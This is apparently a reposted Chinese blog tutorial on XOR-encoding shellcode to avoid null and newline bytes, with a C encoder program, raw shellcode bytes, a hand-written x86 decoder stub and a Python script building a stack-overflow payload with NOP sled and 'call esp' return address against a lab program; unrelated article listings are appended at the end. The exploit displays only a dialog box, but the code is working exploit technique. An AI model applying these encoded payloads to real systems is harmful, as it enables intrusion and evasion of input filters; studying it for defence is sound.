在很多漏洞利用场景中, shellcode 的内容将会受到限制。
例如你不能输入 \x00 这个字符,编辑框不能输入 \x0d \x0a这样的字符
所以需要完成 shellcode 的逻辑,然后使用编码技术对 shellcode 进行编码,使其内容达到限
制的要求,最后再精心构造十几个字节的解码程序,放在 shellcode 开始执行的地方。

当 exploit 成功时, shellcode 顶端的解码程序首先运行,它会在内存中将真正的 shellcode
还原成原来的样子,然后执行。这种对 shellcode 编码的方法和软件加壳的原理非常类似。
这样,我们只需要专注于几条解码指令,使其符合限制条件就行,相对于直接关注于整段shellcode 来说使问题简化了很多。

  • 由上一篇文章提取出来的机器码,进行最简单的加密,异或
  • 目标:还是我第一篇文章中共享的dig.exe含漏洞的程序

功能为弹出对话框,然后退出程序

#include<stdlib.h>
#include<string.h>void encoder(char* input, unsigned char key)
{int i = 0, len = 0;    FILE * fp;len = strlen(input);unsigned char * output = (unsigned char *)malloc(len + 1);      for (i = 0; i<len; i++)output[i] = input[i] ^ key;  fp = fopen("encode.txt", "w+");     fprintf(fp, "\"");for (i = 0; i<len; i++){fprintf(fp, "\\x%0.2x", output[i]);if ((i + 1) % 16 == 0)fprintf(fp, "\"\n\"");}fprintf(fp, "\"");fclose(fp);printf("dump the encoded shellcode to encode.txt OK!\n");free(output);
}int _tmain(int argc, _TCHAR* argv[])
{char sc[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90";encoder(sc, 0x51);getchar();return 0;
}

注意: 在进行异或操作时,key不能与原机器码中的数值一样,否则运算结束后会有0,而 0 是字符串的结尾,不能做为输入字符
在加密结束后,要检查输出的加密shellcode中是否有 0d(\r) 0a(\n)这样的字符这样的字符同样不能输入
我试了大约20次不同的key才找到一个0x51可以使用,有时间我再把他改成自动挑选shellcode的代码吧...

  • 在放置shellcode的时候,我翻了一次车

在上次实验中,shllcode比较小没问题
可是这次shellcode比较大,大到了已经可以覆盖上一个函数栈帧的的eip了
如果在按照左图的布局方式,会出现一些我目前还无法解释错误
经过多次翻车后,我开始按照右图的布局方式来做
为了减小shllcode的体积,增加shellcode的灵活性,建议以后也按照右图的方式布局
(如果文中有错误的地方,请批评指正,谢谢!)

先在栈中写 一大片 nop 这样eip之后的jmp就可以不用控制的很精确也可以跳到shellcode
只要 jmp 击中了 nop 就好了

#shellcode 脱壳程序
shellcode  = "\x89\xe0"               #mov eax,esp
shellcode += "\x05\xec\xfe\xff\xff"
shellcode += "\x83\xC0\x1b"           #ADD EAX,1b  使eax指向加密数据
shellcode += "\x33\xC9"               #XOR ECX,ECX
shellcode += "\x8A\x1C\x08"           #MOV BL,BYTE PTR DS:[EAX+ECX]
shellcode += "\x80\xF3\x51"           #XOR BL,51
shellcode += "\x88\x1C\x08"           #MOV BYTE PTR DS:[EAX+ECX],BL
shellcode += "\x41"                   #INC ECX
shellcode += "\x80\xFB\x90"           #CMP BL,90H
shellcode += "\x75\xF1"               #JNE
#加了壳的真实shellcode
shellcode += "\xad\x39\x3b\x5b\x69\x4f\x39\x32\xd8\x80\x1e\x39\x63\x25\xc0\x5d"
shellcode += "\xda\xa5\xdc\x2f\xa5\x62\x8a\xe6\x55\x7a\xb2\x37\xea\x62\x63\x02"
shellcode += "\x39\x24\x22\x34\x23\x05\x62\x83\x35\xda\x0b\x61\xda\x1a\x5d\xda"
shellcode += "\x18\x4d\xda\x58\xda\x38\x59\xfc\x6c\x3b\x5b\x69\x4f\x24\x54\xc4"
shellcode += "\xae\x06\xa9\xc4\x31\xda\x14\x6d\xda\x1d\x54\x29\x52\x9c\xda\x08"
shellcode += "\x71\x52\x8c\x62\xae\x16\xda\x65\xea\x52\xa4\xc8\x5e\xef\x57\x6b"
shellcode += "\x95\x25\x59\x90\x9b\x56\x52\x81\x17\xba\xa0\x6a\x05\x75\x4d\x24"
shellcode += "\xb5\xda\x08\x75\x52\x8c\x37\xda\x6d\x2a\xda\x08\x4d\x52\x8c\x52"
shellcode += "\x7d\xea\xc4\x0e\xfa\x06\x30\x6c\x3b\x5b\x69\x4f\x24\xf8\x62\x8a"
shellcode += "\x02\x39\x26\x34\x22\x25\x39\x37\x30\x38\x3d\xda\x95\x02\x01\x01"
shellcode += "\x02\xae\x06\xad\x02\xae\x06\xa9\xc1"shellcode += '\x90'*0x50eip = '\x73\x15\xbf\x7d'    #shell32.dll <call esp> 0x7dbf1573junk = '\x90' * (997-len(shellcode))jmp  = "\xe9\xdf\xfe\xff\xff"           #payload
payload = junk +  shellcode + eip + jmp#将payload写入到文件payload.txt
fp = open("payload.txt","w")
fp.write(payload)
fp.close()
print "[+]payload"
  • mov eax,esp 后,eax为eip的下一个位置(jmp)这个地方
  • 在上段代码中 hex(len(shellcode)) 可以得到shellcode的长度
  • 然后 sub eax 这个长度就可以让eax 指向shellcode的开关

    sub eax,0x114 的机器码为 2D 14010000,我们的字符串中不能存在 \0 字符
    所以不能用减法了,改为加法
    add 0x114的补码就没有 \0 字符了
    esp 当前位置并不是在shellcode尾部,所以eax应该加0x11c的补码

  • 然后eax加上解密的shllcode的长度,指向加密的shllcode的数据
  • 我的shellcode解密出来最后一位是 \x90,遇到 \x90就向下运行

如果解完密的shellcode与自己写的shllcode不一样,那就换一个key重新加密一次,数据可能在复制过程中发生了改变

小建议:生成的字符串用winHex打开,可以获得最大的准确性

转载于:https://www.cnblogs.com/jazm/p/10302388.html

shellcode 编码技术相关推荐

  1. 3.6 shellcode编码技术

    目录 一.为什么需要对shellcode进行编码? 二.实验环境 三.实验步骤 一.为什么需要对shellcode进行编码? 主要原因有: (1)所有的字符串函数都会对NULL字节进行限制,为此,我们 ...

  2. 大型计算机变形,ShellCode编码变形大法 -电脑资料

    现在的很多有溢出漏洞的程序对ShellCode都有特定的要求,一类是对ShellCode的长度大小有限制:另一类就是不能出现某些特殊字符,比如Cmail漏洞不能有大写字母啊,Foxmail不能有0x2 ...

  3. iOS视频硬编码技术

    iOS视频硬编码技术 一.iOS视频采集硬编码 基本原理 硬编码 & 软编码 硬编码:通过系统自带的Camera录制视频,实际上调用的是底层的高清编码硬件模块,即显卡,不使用CPU,速度快 软 ...

  4. 可逼近信道容量编码技术之霍夫曼编码的实现

    可逼近信道容量编码技术之霍夫曼编码的实现 简介 在当今信息爆炸时代,如何采用有效的数据压缩技术来节省数据文件的存储空间和计算机网络的传送时间已越来越引起人们的重视.哈夫曼编码正是一种应用广泛且非常有效 ...

  5. 3D-HEVC视频编码技术

    3D-HEVC编码框架 3D-HEVC编码结构是对HEVC的扩展,每个视点纹理及深度图编码主要采用HEVC编码框架,但在其基础上增加了一些新的编码技术,使其更有利于深度图和多视点的编码. 图1 3D- ...

  6. 计算机编码技术ppt,计算机编码技术.ppt

    计算机编码技术.ppt (43页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 11.90 积分 计算机编码技术 第二章 计算机信息技术基础 第二单元2.2 ...

  7. 技术系列课回顾 | 直播点播窄带高清之 JND 感知编码技术

    导读:本文整理自网易资深开发工程师程玲在线上直播 MCtalk Live#3:直播点播窄带高清之 JND 感知编码技术内容分享,文末也可查看直播回顾视频. 文|程玲 网易云信资深音视频引擎开发工程师 ...

  8. 技术系列课|从NE264到NE265:视频编码技术缔造美好生活

    在网易,我们一直致力于用好的技术服务用户,为用户提供优质的体验,实现美好生活缔造者的愿景.而视频编码技术作为底层驱动技术,将如何改变我们的生活?如何通过视频将分隔两地的人连接起来?如何通过视频记录生活 ...

  9. HEVC视频编码技术

    HEVC视频编码框架 HEVC编码框架与H.26X标准的编码框架类似,均采用基于块的混合模型. 图1 HEVC编码框架 如上图所示,HEVC编码器的工作过程为: 1.首先,视频编码器将输入视频图像划分 ...

最新文章

  1. 介绍Smart Client组件网站
  2. 通用机器学习流程与问题解决架构模板
  3. vue eslint 代码自动格式化
  4. 最优化导论(part1)--求解原问题的对偶问题
  5. ModelMaker的教學網站
  6. 3D Max 2016安装教程
  7. vue3结合element-plus实现标签手动标注效果
  8. SpringCloud-Alibaba之Nacos,Java集合面试题及答案
  9. java索引越界异常_如何处理Java数组索引越界异常?
  10. 棋牌搭建,APP新手搭建教程
  11. 彻底搞懂虚拟地址翻译为物理地址的过程
  12. 多张图片合成一张图片
  13. PR导入视频失败、没有音频解决方法
  14. 驯服烂代码_驯服业力,SauceLabs和Internet Explorer:揭秘之旅
  15. python 英文关键词提取_python TF-IDF算法实现文本关键词提取
  16. 腾讯云服务器计费模式包年包月/按量计费/竞价实例选择困难户
  17. 什么是千兆级LTE?带你了解5G网络之前最重要的通信创新
  18. 【PP-2】定义生产调度员
  19. Synchronized Lock 锁 同步
  20. 问题 B: Cly的博弈

热门文章

  1. codeforces 498 div3(a-e java)
  2. Java连接FTP服务器并且实现对其文件的上传和下载
  3. mysql和mongodb替换字段中某字符
  4. SpringMVC的文件上传和拦截器
  5. 取代C语言的标准输入输出:cin 和 cout【C++标准输入输出】
  6. 常见的算法排序(2)
  7. css3 手机信号,CSS3 无线路由器连接信号动画
  8. ipython和anaconda区别_Anaconda和ipython环境适配的实现
  9. mysql设置ssh连接_ssh修改连接数据库 将mysql改为sql连接
  10. 线性表C语言locate和ETget,线性表(数据结构重难点讲解)